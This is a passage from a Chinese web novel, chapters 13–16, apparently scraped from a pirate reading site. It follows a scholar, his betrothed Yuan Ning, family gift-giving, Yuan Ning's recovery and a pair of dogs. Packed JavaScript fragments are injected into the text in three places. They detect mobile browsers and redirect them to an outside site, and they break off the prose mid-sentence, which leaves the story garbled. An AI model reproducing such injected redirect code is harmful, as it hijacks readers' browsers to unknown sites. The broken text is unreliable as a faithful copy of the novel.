“还是宝儿考虑的周到,令阳才考上童生,不好得罪,咱到时候也按规矩包红封就成。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126754|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一家人都觉得按沅宁这个说法送礼很不错,倒是把旁听的方衍年给听得一愣一愣的。 听了这么久,他可算是听明白了一些,这个芝麻馅儿的小元宝,真是不把他大伯家当外人! 原本五十文的预算,被沅宁三言两语,就变成了最便宜普通的随礼。 那一捆柴,就算在城里也卖不上十文,乡下靠山的地方,柴火都是自己捡,根本不用花钱! 猪草更是,比柴火更不值钱,顶多费些功夫。还有那连自己家都不用的皮子……唯一有点儿价值的,就那一篮子鸡蛋了。 如果在城里,一篮子鸡蛋倒是能卖上二十文钱,不过对于乡下人来说,宁可送鸡蛋都不肯送铜钱的,嘴巴里省几天就有一篮子蛋了,换成钱可不是那么轻松的! 再说那提肉,拢共不到三斤,今天切了快一刀下来,明天吃半刀,最后剩下也就一斤左右,一二十文钱……还是不新鲜的腊肉。 从刚才的对话中,方衍年多少也能听出来,沅宝儿这大伯家里似乎经常到他们家来拿东西,但却没听大伯家有送他们什么,难怪宝儿要这么做。 方衍年虽然是社会主义好青年,心地善良,但也不是冤种,喜欢当血包,那不是典型的“伏弟魔”吗?被这种家庭缠上,恐怕一辈子都要被吸血…… 不过,方衍年看了看沅宝儿那张被夕阳映出一抹绯色的脸,感觉似乎也不是不能当。 方衍年:“……” 嘶,不行不行,看一眼差点儿底线都没了! 他摇摇头让自己清醒一点,随即却忍不住笑起来。 就刚才看到的情况来看,他的担心似乎有些多余。也不知道是宝儿落水后生病期间发生了什么,起码他们家宝儿现在应该是想通了,不愿意继续被大房一家吸血,还有慢慢带着全家一起脱离泥沼的势头。 方衍年对此十分喜闻乐见,宝儿今后可是他的枕边人,他最亲密的人,只要宝儿不糊涂,其他人愿意被吸血过苦日子,他都尊重他人命运。 沅家人看到方衍年一会儿摇头晃脑一会儿笑的,还以为他是不是考上童生之后乐得脑子不好使了,明明白天还挺正常的啊? 然后就见方衍年理了理自己的衣袖,温声细语对沅宁道:“家里送这么多礼,我也不好空手去,我那儿还有几本手抄的札记,或许会对令阳兄有帮助,到时候我便一并带上吧。” “哎呀,这怎么好意思。”沅家人对方衍年这么大一份随礼很是惊讶,连忙劝他不用这样,毕竟谁都知道和读书相关的东西,不仅价格昂贵,还十分难得。 就连沅宁都不禁扶上的方衍年的手臂,目光带上几分担忧,想要劝他打消想法。 方衍年被这关切的眼神看得心中一软,安抚地拍了拍沅宁的手,笑着对他眨了下眼睛。 沅宁慢半拍地从那个笑中读出什么。 方衍年,好像看穿,他那点小九九了。 13. 病好了 心中忽上忽下的有些忐忑,沅宁小心翼翼地看了方衍年一眼,又看了一眼,发现对方依旧是笑着的,并没有表现出对他这些小心思的厌恶。 即使对方才承诺过,不会轻易讨厌他,但沅宁心里头依旧像是堵着口气的。 他看过那样多话本子,知道读书人最是清高不拘小节,看不起这样的算计,沅宁一颗心落到了谷底,低落地半晌都没如何说话。 天色渐暗,夜路难走,方衍年推辞了留宿的建议,却没急着离开,而是说想单独和沅宁说几句话。 沅宁没想到悬在头顶的铡刀竟然这么快就落下,有些不愿意,正要推拒,院子里一大家子人轰一下就散掉了,把地方留给两个小年轻。 方衍年知道沅宁在担心什么,便提议往院子外走几步,这样即使有人偷听,远远的也听不见什么,却能看见两人的身影,不至于让未出阁的哥儿受欺负。 沅宁抿着唇,跟着方衍年来到院子外,他扶着家里劈砍打磨得整齐光滑的篱笆,那篱笆用的木头比寻常人加拿削薄的竹片围的更粗壮,扎得也牢固,即使靠在上面也不会歪倒。 乡下的月色明亮,烛火价贵,夜里没有几家点灯的,月光安静地照下来,视野开阔的地方也能看得清晰。 冷色的月光给大地铺上一层银妆,不远处偶尔会传来一两声狗叫,隐约还有夫妻拌嘴的声音,沅宁靠在篱笆旁,身形瘦削,夜色衬得那皮肤更加洁白神圣,温柔干净的长相并不会让人觉得他像山野中的精怪,反而如同落入凡间的仙子,是从月亮上掉下来的。 方衍年扭头看到这一幕,愣了两三秒,才轻咳一声,掩饰自己出神的失态,还好月色皎洁,能将他红了的耳尖给遮住,不然又要丢一次面子。 沅宁被那一声轻咳惊得微微一颤,更是有些不敢去看方衍年的眼睛,他怕从里面读出失望的神色。 他平日里分明不这样胆小的,沅宁虽然性子柔和,却也不怯懦,像是面对做事风风火火大嗓门的大伯娘,他都能和人虚与委蛇,不会落了下风,怎的一遇上方衍年,倒是失了阵脚,变得那般患得患失。 沅宁不知道自己这是怎么了,只是越在意,心里头就越难过,那种闷闷的感觉被无限放大,撑得整个胸腔都胀胀的,连带着鼻根都有些发酸。 他垂下视线,仿佛在听临刑前的祷告,却听方衍年问他:“你大伯一家对你们不好吗?” 沅宁的嘴唇抿成一条线,他很想点头,却觉得这样子会不会太小家子气,让方衍年觉得他斤斤计较。 可他说不出来大伯家的好话,只能委婉些解释:“阿爹性子闷,不受爷奶喜欢,分家时大伯家分了大头,却还时时说爷奶想念阿爹,让爹娘哥哥们尽孝和赡养。” 沅宁说的真的是很委婉了,事实上,二房这边只分到了两块薄田和一点现银,连细软锅碗都没能带走,那些银钱拿来置办了茅草屋和最最基本的生活用品,就不剩多少了,当时姜氏可还怀着孩子。 即便二房当时穷得叮当响,大房那边依旧以各种借口,例如爹娘喜欢老二种的菜,老大媳妇不如老二媳妇干活麻利云云,时常要求二房这边提菜回去,还要姜氏过去伺候公婆。 若非后来姜氏劳累过度差点影响到肚子里的孩子,沅宁他爹发了火,否则姜氏大着肚子都要继续过去当仆役。 分家分家,大房拿了那么多好处,就应该尽赡养的义务,更何况当时的两人还正值壮年,哪有三四十岁就要子女尽孝的说法。 沅宁见方衍年愿意听他解释,便仔细说了一些随便打听都能知道的事情。虽然住在一个村子里,但他们村也不小,方衍年家里住在村头,再加上研学,没听过这些也属正常。 “啧。” 沅宁听到方衍年不满的咋舌,小心翼翼看了对方一眼,这些事情不仅会显得他斤斤计较,也会让人觉得他们家是个累赘。 只是……只是沅宁不想欺骗方衍年,今后若是成了亲,对方对这些陈年旧事不满从而厌弃了他,受磋磨的还是他自己。 即使沅宁知道方衍年不是这样的人,但他还是希望能够提前说清楚,他不会像梦境里那样早早死去,若是磨合不成,便也不强行绑在一起,总比成了怨侣更好。 不料下一刻,他就听见方衍年直白地骂起来大伯一家:“真是好不要脸一家人,宝儿你做得很对,要我说随那么多东西都便宜他们了,这种人打捆猪草送过去都算你们还认这帮亲戚。” 沅宁怔愣地看着方衍年,话虽然听着糙了些,但话里话外都是在维护他,一点都没有因为他的算计而看不起他。 生平头一次受外人维护,沅宁忍不住有些鼻酸,除了和他最亲的家人,沅宁以前因为不好接触,总有一些人喜欢用言语贬低他。 就像是看上一件昂贵的商品,因为买不起,配不上,所以把商品贬得一文不值,妄想要店家贱卖。 方衍年和那些人完全不一样。 沅宁的视线不由得有些模糊,他低垂下睫毛,掩盖住泛红的眼眶,细密浓黑的眼睫下,闪烁的水光,如同夜里镶嵌在海边的珍珠。 面对这样的方衍年,他都忍不住想要向人告状。 “前些时日我落了水,家里凑不出药钱,大伯一家却以堂哥备考为由,闭门不见,家里把能卖的都卖了,甚至当了二哥打猎用的猎具,这才凑齐了药费……” 沅宁的声音听上去带着小动物受伤时的嘶哑,可把方衍年给心疼坏了。 比小哥儿高出大半个头的书生伸出两只手,却找不着落点,急得颇有几分抓耳挠腮的模样,最后也只是拉了拉小哥儿的衣角,温声细语地安慰,安慰完又狠狠骂了那吸血鬼一家,用词颇为丰富,把小哥儿的眼泪都给说没了,红着圆圆润润的耳朵尖,不好意思打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到这时,沅宁才发觉二人究竟说了多久的时间,月亮都爬得有些高了。他依依不舍地目送方衍年离开,望着那背影消失在小路尽头,才感觉到奔涌上来的疲惫,回到房间都没洗漱完就困得睁不开眼。 一夜好梦。 大概是心境变好了的缘故,第二天沅宁醒来的时候,感觉整个人都轻松不少。 那种落水后伴随了近两个月的沉重苦闷,仿佛天边被吹走的乌云,一下子全部散掉了。 沅宁望着清晨第一缕阳光,忽而有种焕然新生的感觉。 这并不是错觉,他的身体还真恢复了不少,或许是他自己都没意识到的心结一直压在心底,不论吃什么药、怎么进补都没什么用。 因为此前那个梦,沅宁从没和任何人说过,他也知道家里人一时之间无法接受他的说法,长年累月形成的习惯也难以改变,一直以来他都是将担子一个人扛下来,这才迟迟拖着病不见好。 如今有方衍年和他一同分担,沅宁那笼罩在心头的愁绪也彻底清空,感觉浑身都充满了力气,就连拖着迟迟不见好的病,都痊愈了大半。 当他没有让人搀扶就自己走到院子里的时候,阿娘手里端着的簸箕都掉到了地上。 一家人关切地围过来,阿娘和大嫂更是红了眼眶,沅宁隔着人群望向不远处长身玉立的方衍年,在夏日响起的第一声蝉鸣中,露出个明媚清爽的笑来。 14. 真聪明 “嗯……总体来说还是有些体虚,但不是什么大事,慢慢进补起来就行,再用两副药巩固一下,就可以换食补了。” 清早,一大家子人围在一起,连早饭都没吃,满怀期待地等着沅令舒给沅宁把脉,在得到圆满的结果后,每个人脸上都洋溢着笑意。 “哎呀,粥还在灶上,我去盛出来。”姜氏高高兴兴地回到厨房,一个高兴,又将昨晚腌制的肉切下来一小条,剁碎成肉末,腌制过后的肉已经不剩多少腥臊,切一些细细的姜绒进去抓拌一下,微微给一点盐进粥里,这般简单煮出来的肉末粥,又鲜又香,临出锅了将切碎的莴笋叶撒下去,色香味俱全。 早饭是煮得浓稠的一锅粥,今天要夯地整理院子,又要打猪草回来,田里的活儿也不能闲着。乡下一般吃两顿,沅家却也会在早上出工之前多少弄些吃的垫垫肚子。 这些天沅宁早上都会醒来多少吃上点东西,因此煮的并非杂粮粥,而是白米粥,软烂到入口即化,下肉末之前就已经煮出米油的白米那叫一个香甜,一人一碗下去,整个肚子都暖乎乎的,赶走了清晨的寒湿气,令人无比舒心。 沅宁也喝了大半碗,比平日进的要多一些,碗底还剩两口喝不下,被他二哥端过去,连带锅底剩的一起吃了个干净。 一家人之间也不嫌弃,更何况沅令舟那块头,一碗粥还真吃不饱。 早餐过后,大哥跟着爹去地里伺候庄稼,正值青黄不接的时候,一些比较懒的庄稼汉可能秧子插下去就不怎么细致管了,但沅家不同,上下这么多口人守着那两块薄田吃饭,如今又快到稻子灌浆的时候,两父子每天都会去几块田里仔细巡视,但凡有个风吹草动,都要及时处理了,以免影响最终的收成。 这也是沅家的地为什么总比其他家的地收成好的原因,庄稼在地里的时候,父子两没一天不上心。 沅令舒吃完早饭之后也离开了,他还在乡医那边帮工,昨天请假回来已经耽搁了不少时间,今天也不方便继续在家里呆。 而姜氏和大儿媳妇今日要去割猪草,便把小光留在家里给他叔叔打下手,毕竟家里剩下的人…… 宝儿还生着病,方衍年那细胳膊细腿儿的,恐怕还没小光有力气,也只能让小光跟着打下手。 小光翻年来才五岁,原本个头是村里同龄孩子中最小的,跟着家里开好了伙食,这一个多月猛蹿了不少个头,身上的肉都结实不少,甚至还白净了几分,更是讨人稀罕了。 别看小光年纪小,手脚可麻利,晒在院子里的东西三两下就能清理出来,着实让方衍年这个成年人都有些汗颜。 沅宁看着方衍年满头是汗的样子,心疼又担忧,主要还是担心方衍年待会儿热晕过去,四月下旬,天气已经炎热起来,清晨这会儿稍微动一动,都能热得出汗。沅宁拧了帕子给方衍年擦了擦汗,想叫人到一旁坐着歇一歇,方衍年却说。 “小光这么小的孩子都能做的事情,我这么大个人了,哪有在一边歇着的道理。” 偏偏小光那小子还听不懂方衍年话里的意思,十分“豪迈”地扛起来一根粗壮的木头,语气里带着点儿小骄傲:“我可不小了,都能扛起来这么粗的木头呢!小叔父你就听小叔的歇歇吧,我能行的!” 沅宁忍不住扶额:你可别再刺激人家了! 方衍年倒不觉得自己被下了面子,他自己都嫌弃这副身体柔弱:“你这小子,少嘚瑟,小心受伤。”他叮嘱完小光,扭头又对沅宁说,“我有数,不会勉强自己,之前学习疏于锻炼,身体这般差,正想活动活动,不用太担心我。” 沅宁也拿他没办法,只好把茶水倒来一旁凉着,又找了蒲扇来给这二人扇风。 “哟,这么好的待遇,你哥我怎么没享受过。”沅令舟扛着从里正那边借来的筑锸和石块回来,将东西放到地上,拿起大碗的粗茶咕咚咕咚灌了几口。 这石块是专门用来夯地的,里面穿孔绑了绳子,需要两个人以上拉着不同方向的绳子,把底面平整的石头给提起来,再松手,让石头自然落下,将松垮的土壤给夯实。 筑是夯筑土墙的墙杵,锸则是用来挖掘铲地的铁锹,这年头铁器昂贵,管控也很严格,这类工具基本上都是一个村里公用的,谁家要借,得去里正那里签字画押,记录清楚用途和借用归还的时间,如果有损坏还得进行一定的赔偿。 上午家里就只有一个劳力,沅令舟便没用夯地的石头,而是用墙杵把底面大致夯了一遍,将地里的石头的挖出来,凸起的土包铲平,凹陷的坑洼填平,待大哥和爹下地回来,三人一起把地给整平,彻底夯实,这才做好垒房之前最基础的准备。 方衍年帮着把院子里的东西搬开,地上的石子筛走,野草拔掉,就已经精疲力竭,被沅宁给拉到一旁休息,不让他再上手。 还真不如家里小侄儿能干,也不知道身子骨这般弱,今后科考动不动就关在号舍里几天几天连着考试,身体怎么吃得消。 正忧愁着呢,就看见远远一道高瘦的黑影蹿上门前的田埂,沅宁眼睛一亮。 “大狼!” 正端着海碗喝茶的方衍年一顿,低头看了一眼,是茶,不是药。 他顺着沅宁的声音扭头望去,便看见一条细细长长,正面扁得只有薄薄一溜,但是个头比寻常狼狗更高的黑狗,嘴里吊着只棕黄色的肥兔子,纤细的长腿悠闲地跑在田埂上,还有几分优雅。 饶是方衍年第一次看到现实中的细犬,也没忍住喊了一声:“啸天?!” “什么?”沅宁正对自己从山里跑下来的大狗狗招手。 这狗是他哥养的猎犬,别看长得瘦的,跑起来的速度赶得上匹良驹,而且因为身形灵巧,即使是在地形复杂的山里,也能健步如飞,可是捉野物的一把好手。 大狼是沅令舟训出的最聪明的猎犬 ,平日里基本上都住在山间的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126756|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里,不仅能打猎,还能看家护院。 如果沅令舟下山的时间长,也会把大狼给一起带上,毕竟山里的木屋也没多少值钱的东西,大狼陪伴了沅令舟多年,已经和亲人一样了。 这次二哥下山来,也没给狗狗打声招呼,养了多年的猎犬,自己找得着下山的路,人家也不白来,下山之前还带了只野兔。 也不知道这家伙哪里逮的兔子,肥硕得很,叼嘴里比它正面看着还宽大,这狗子聪明,还知道走门,沅令舟看这家伙专门挑兔子叼下山,只觉得这家伙鬼精鬼精的。 前些日子他专门逮过兔子,这家伙也不是捉不住其他动物,偏偏挑了这么肥一只兔子来。 沅令舟招呼了一声大狼,结果细犬鸟都不鸟他这个真正的主人,屁颠屁颠越过他,来到沅宁面前,尾巴嗖嗖晃着,把兔子往他面前递。 “大狼回来啦,给我的吗?谢谢,大狼真乖。”沅宁把兔子接下来,三四斤的兔子,摸着还是热乎的,他摸了摸大狼的脑袋,跟哄小朋友似的,嘴里一个劲夸狗子真聪明,真乖,真厉害,那细细长长的尾巴都快摇成扇面了。 “大狼!”小侄儿看见他们家威风凛凛的大狗狗回来了,高兴地跑过来,一把抱住了大狼。 狗子生得高,站起来比小光还高一头,但因为性格好,不扑人也不呲牙,小光一点儿都不怕他,倒是村里面的小孩儿看见黑漆漆的大狼,蹦起来比他们爹娘都高,每次见沅令舟把大狼带下山,都躲得远远的,生怕大狼把自己也叼走了。 “呀,兔子!”小光和大狼玩了会儿,才发现了被放在一旁的野兔,刚满五岁的小光眼里可有活了,也顾不上和大狼继续玩儿,“我去把兔子的血放了,这天气不放血等下要臭了。” “好,你小心点用刀。” “放心啦小叔,二叔教过我怎么剥皮的,我也想试试!”小光人小鬼大地说到。 “哦?这么厉害。”沅令舟放下手里的活,过来捏了一把小光的脸颊,捏出两个脏兮兮的泥印子,“那你去把碗和刀拿出来,我看着你剥。” “好!”小光蹦蹦跳跳跑去拿刀了。 经过训练的猎犬十分机灵,教过两遍就学会了,大狼捕的兔子都是直接咬断脖子,不至于伤着能用得上的皮毛,这样整块的皮子剥下来鞣制好,不论自家用或者拿出去卖,都是好去处。 沅宁看着坐在自己脚边的大狼,突然之间想到什么,他对着大狼比划了一下:“大狼,起来。” 这个年纪的细犬已经能听懂一些简单的词汇了,闻言立刻就从地上站起来。 “真乖,再坐下,坐——下。”沅宁拍拍手比划了下,大狼还真就一屁股坐回了地上。 “哎呀,咱们大狼真聪明!”沅宁忍不住捧着大狼那蓬松的大耳朵搓了搓,然后抱着细犬转过头,眼睛亮闪闪地看向方衍年,语气愉悦。 “年哥哥,大狼真的能听懂欸!” 15.奶凶 方衍年早就被沅宁给萌得晕头转向,都说人类面对猫猫狗狗的时候声音会自动变夹,沅宝儿也不例外。 本就偏柔和的声调满是宠溺地夸着、哄着,别说威风凛凛的大狗,就是铁骨铮铮的男子汉都要被哄成胚胎。 再被那亮晶晶的一双眼睛期待又带着点儿小雀跃地看着,方衍年有些找不着北。 沅宁平日里很少表现出如此活泼的一面,一来因着身体虚弱经不得累,二来则是多少有些小哥儿家的矜持。 所以说养宠物是最好的治愈方式呢,就连沅宝儿这般的哥儿都能因此展露出鲜活的一面,方衍年觉得自己不知不觉又赚了一笔,也不知道自家这个小元宝还有多少可爱的地方没有被他发现。 “咳咳。”方衍年把自己脑海中某些不合时宜的想法给按下去,清了清嗓子,解释道,“一条成年的狗狗相当于人类两到四岁的幼儿那般聪明,如果训练得好,甚至能达到五六岁的水平。” “这么聪明。”沅宁有些意外,毕竟他们村里的狗子所谓看家护院,也就是听到声音或者闻到陌生人的气味,会警惕大叫,家里养狗养的好的,狗儿也会护主,看到主人被欺负冲上去撕咬,就已经是很聪明的狗了。 若是讲究一些的,就会送到他二哥那里,学一学怎么放养家里的鸡鸭之类的,虽然学费稍贵,毕竟提一刀肉都足够拿去村里办席的时候送礼了,但看门狗多一门放养鸡鸭的本事,也算解放出来半个人力,可以多打点猪草或者做些别的活,因此但凡有条件的,都会把家里养的狗送到二哥手里训一训。 “三四岁的话,都可以开蒙了。”沅宁捧着大狼的两只大耳朵,把狗脑袋搓得摇头晃脑,“咱们大狼这么聪明,说不定能学会三百千。” “咳!”方衍年被沅宁的话给呛了一下,“应该也没有聪明到那种程度。” 沅宁乐得直笑:“知道啦,就是逗逗你嘛。” 他说完吐了吐舌头,脸上的笑就没下去过。 方衍年擦了擦额角不存在的汗:“现在的孩子这么小就开蒙了吗?” “嗯?”沅宁反而有些奇怪,“乡下孩童一般六七岁会送去乡塾认认字,不一定科考,但开蒙一下也是好的。” 沅宁读的书本子多,见识也相对广一些,细细同方衍年解释道:“不过听说首府、京城那些,很多大户人家,开蒙比较早,三岁就能学会三百千,五岁熟读四书五经,咱们这边开蒙的年纪,书香门第的公子都已经下场了。” 经由沅宁这么一说,方衍年才回想起来,是有这么个事儿。但谁会把小说带入现实? 小说里霸总能一个电话让上市公司破产,现实霸总去对家公司用开水浇发财树被保安追出二里地。 “这般天资聪慧的,即使放在京城,也并非大多数。我说的年龄,对照的是咱们乡下普通人家的孩子。”方衍年不动声色地给自己挽了下尊。 一旁分心听着二人聊天的小光一声哀嚎,还以为这小子给兔子放血割到手了,结果就听小光说:“那大狼岂不是和我一样聪明了?!” 在场的人一听全乐了,沅令舟更是开口逗这个小侄儿:“说不定是哦,你看大狼不仅知道下山来找我,还打了兔子来给大家加餐呢。” 要不怎么说大狼成精了呢,这家伙竟然知道众人在说它,还跟着汪汪叫了好几声。 小光很是不服气:“我出去打猪草的时候也会摘果子、野菜回来的啊!”说着声音又低下去,嘀嘀咕咕的,“田里的兔子都被抓光了,不然我也能抓回来……” 小侄儿的反应实在太可爱,沅宁没忍住捧着小家伙的脸,跟搓狗狗似的揉了两把,小孩儿也不生气,还高兴得发出嘿嘿的声音。 沅令舟就看着这小子傻乐,干了半天的活儿停下来休息一下,以往没那么讲究,反正夯地手容易脏,今天却破天荒地去洗了手,拧了帕子,自己满头的汗都没擦上,先把帕子递给沅宁擦擦手。 在场三个大人一个都没提醒小光脸上还挂着花猫印子呢,真坏! 小光跟普通的农家孩子一样,早懂事,才五岁的年纪,不仅扛得动柴火,还剖得来兔子,那兔子皮被完完整整剥下来,因为放干净了学,所以场面并没有很难看。 “可以啊你小子。”沅令舟狠狠搓了两下小光的脑袋,将那随便扎在头顶的小揪揪给搓得毛毛躁躁。 小光这时候又不那样憨憨傻笑了,正要跟他二叔顶嘴呢,就听二叔说:“等你长大点带你进山里长长见识。” 小孩子的注意力一下子就被转移了,一双眼睛黑得发亮:“真的吗二叔?!我也能学打猎吗?!” 小光他爹他爷,甚至上头的太爷都是纯正的庄稼汉,不过因为他个头矮,这些年家里种的又多是水田,就他那小短腿儿,下田去能给淹咯!这才没怎么下过地,却也少不了帮忙干活儿的。 原本以为他也会继承他爹的衣钵,老老实实当个庄稼人,哪里想到二叔愿意教他狩猎! 在小孩子眼中,可没有那么严格的士农工商的等级概念,即使是成年人,也知道猎户虽然赚钱,但苦也是真的苦,还时时处于危险之中,要不是日子过不下去,很少有人会去学狩猎的。 如今已经是和平年代了,早年间打仗的时候,都是小光太爷当小孩儿的时候,那时候为着生存,才有不少人半路出家去山里狩猎,毕竟再危险,能有征兵去前线危险么?只要凑够了钱,也能免去兵役,留下一条命。 不过那时候的买闲的钱足够让猎户一年到头勒紧裤腰带,有的都凑不齐,沅令舟跟的那个老猎户就是那时候坚持下来的,因此很有一身打猎的本事。 如今战争已去几十年,不仅猎户少了,人们也很少冒险进深山刨食,山里的动物就多起来,听说岭南那边还经常发生虎患,出现一次都要死好多人。 他们这边据说也有老虎,但最艰难的那几年,人们在饿疯了的时候什么都吃,山里的动物吃没了,老虎不得不从深山出来觅食,结果遇上成群结队的村民,饿瘦了的虎不敌饿疯了的村民,那之后就再没在山里见过老虎了,也不知道是不是当年给吃光了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134076|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教你没问题,得你学得会才行。”沅令舟上下扫了小光一眼,“不过你这小身板儿,逮只兔子都费劲儿。” 小光气得要跳起来打他二叔的膝盖,大家又是好一通笑。 正在这欺负小孩儿呢,小孩儿他爹就回来了,手里拎着个篮子,却最先发现了院子里那道黑色的身影,“哟,大狼回来了。” “汪!”大狼答应了一声,原本趴在沅宁的脚边,却像是发现了什么,忽然站起身,虽然没有攻击的动作,但已经警惕了起来。 “好狗好狗,乖哦。”沅宁给大狼顺了顺毛,站起身,“大哥,是把小狗接回来了吗?” “嗯,这小东西可活泼,去接狗的时候李老三他媳妇说在外面跑了一上午,睡得直打呼,检查牙口都弄不醒。”沅令川把装在篮子里的小狗给捉出来,和昨天张屠户捉来的狗儿一样,浑身都是又长又厚的绒毛,胖墩墩的可爱极了。 不过昨儿个那只是偏黄色,今天这只颜色却浅一点,虽然没有到白色的程度,但也只是微微发黄,说不定洗干净还能再白一点。 小家伙睡得翻肚皮,粉色的舌头都吐在外面,被一只大手托着拿起来,小脑袋支棱起来了一下,黑溜溜的眼睛睁开,闭上……忽然又睁开,显然是被一旁黑色的大家伙给吓醒了。 “汪汪!”小狗奶声奶气地叫起来,四条小短腿儿扑棱扑棱要从沅令川手里跳下来。 沅令川把小狗放到地上,这小东西还没有细犬的脑袋长,身子却是浑圆,比细犬都长得宽了。不过它只是毛茸茸,真要一盆水浇下去,那小身板儿,当然比不上常年狩猎身上都长出腱子肉的大狼了。 小奶狗嗷呜嗷呜对着大狼叫得可凶了,而因为闻到陌生气息警惕起来的大狼看到对方是这么大点儿的小卡拉米,又不屑地趴回了沅宁的脚边。 大狼不理这小东西,狗仗人势叫了几声、放到地上立刻又老实了的小奶狗先是跑到了一旁,观察了半天之后,狗狗祟祟地挪到大狼身边,粉嘟嘟的鼻子耸着,嗅来嗅去,确认了对方是同类,就起了玩闹的心思,小短腿一抬就立了起来,然后用两只前爪去扑大黑狗。 结果被大狼一鼻子给拱了个跟头。 “呜呜!”小家伙嘤嘤叫了几声,但显然没被摔痛,甚至觉得好玩,刚滚了一身的灰,又屁颠屁颠跑过去找虐,被大狼拱得满院子打滚儿。 得亏这小东西满打满算也就一个月出头,在地上滚了两圈就累得打喷嚏。 小家伙抬起脑袋在院子里看了一圈,最后摇着尾巴绕开大黑狗,来到沅宁的另一侧脚边,碰瓷似的一把倒在了沅宁的鞋上。 一家人看得稀罕,这小家伙竟然和沅宁这么有缘。 “它这是喜欢你。”沅令舟说。 沅宁也很惊喜,毛茸茸软乎乎的小狗脑袋枕在他脚背上,暖烘烘的,还能感受到小家伙哼哧哼哧喘着气。 他正稀罕呢,一旁听到众人夸小狗聪明的大狼扭过头,鼻头一挑把枕着沅宁脚背的小狗给拱出去,打了个大大的呵欠,继续在沅宁脚边趴下了。 16.绝望理工男 被两只狗狗争风吃醋的戏码闹得哭笑不得,沅宁也没斥责大狼,只摸摸狗脑袋,让他不许欺负小朋友。 沅宁一直喜欢和狗子说话,尤其在得知它们的智商和乡下小朋友差不多之后,就更把狗儿当小孩儿对待了。 大狼很是吃他这一套,虽然还是不高兴那小东西,但沅宁说话它也听,用脑袋蹭蹭沅宁的手掌表示自己知道了。 还真是通人性得很。 午饭过后,沅宁回房间午睡,一家人趁着人多便把院子里的地给整出来,家里没有闲钱,什么活儿都得自己做,得亏乡下人经常相互之间帮忙,看着学着也会拆墙砌屋子,倒是难不到沅家人,一天下来,就把砖房的地基都给打了出来,等明日去吃完席,再把方衍年那边的老房子拆了,只砌两间屋子的话,花不了十来天就能把房子砌好。 等新房修好攒点吃食下来简单摆个席面,这亲也算成得热闹了。 一家人看着那平整结实的地基,想到今后家里也要有砖房了,日子越过越好,心里就一片火热。 以前总是在忙着生计,稍微有点钱就花出去,也就大儿子结婚那时存了点碎银,后面不知怎的,就是攒不起来钱。 如今宝儿落水生了病,家里经历了最为艰难的时日,竟是一转眼连砖房都住上了,何尝不是一种否极泰来。 这方童生简直像是他们家的福星,一来就让宝儿的病好了,还让他们家也拥有了砖房,沅家恨不得把方衍年当亲儿子对待。 倒是方衍年有些不好意思,他什么都没做,还没入赘就吃上了软饭,因此在训狗一事上知无不言,恨不得把狗子教到能直接去上大学。 吃完晚饭之后,沅令川又去地里摘了两棵新鲜的青菜,亲自把他送到村头的老房子才回去。 夜里,方衍年擦洗一番躺在床上,看着那粗壮的横梁和红瓦,竟然觉得这房间住着有些冷清,还不如宝儿家的茅草棚温馨。 他身上就二两银子,肯定不够修个能够住九口人的青砖大宅院子的,就是翻修现在那个茅草屋都够呛,还是得想办法做点小本买卖,先积累起一定的资金。 方衍年的父母虽然很会赚钱,但方衍年因为和父母疏离,并没学到多少赚钱的本事,他大学甚至学的理工科,比起如何钱生钱,方衍年更擅长电子机械。 可是这年头别说没有电了,连铁器都是…… 等等,虽然没有铁器,但是他可以用木头替代啊!这年头最不缺的就是手艺人,而木头的获取也简单,直接去山里砍伐就是了。 有什么是这个时代没有,却又能简单复刻出来的呢? 方衍年第一个想到的就是枪。 有句话说得好,枪是男人的浪漫,方衍年自然也喜欢,他买过玩具模型,周末也会去俱乐部打个几梭子,比网络游戏有意思多了。 爱好这种事情,摸得多了,自然也了解其中的道理,方衍年记得自己在网上看到过手搓纸质左轮,只需要纸改铁,粘改焊,完全可以把自己送进去吃牢饭。 方衍年自己就玩这东西,看一遍就会,何况左轮又不是什么很复杂的东西,他完全复刻得出来。 但真的要做吗? 方衍年毫不犹豫否定了,他来到这个世界也有好几天,越是了解,对于原身的记忆越是清晰,他就越是清楚自己要是真搞出来这些东西意味着什么。 不光是会被当做妖怪,匹夫无罪,怀璧其罪。一来天高皇帝远,他就算真做出来了,想要献策,也不可能直接面见到皇帝,倒是中途被截胡的可能比较大,更有可能让拦截那个人借此囤私兵,那可不是掉他一个人脑袋的罪,恐怕沅家,甚至整个村子都会遭受灭顶之灾。 二来就算真的撞大运把东西交到的皇帝面前,方衍年也不一定能讨得到好。 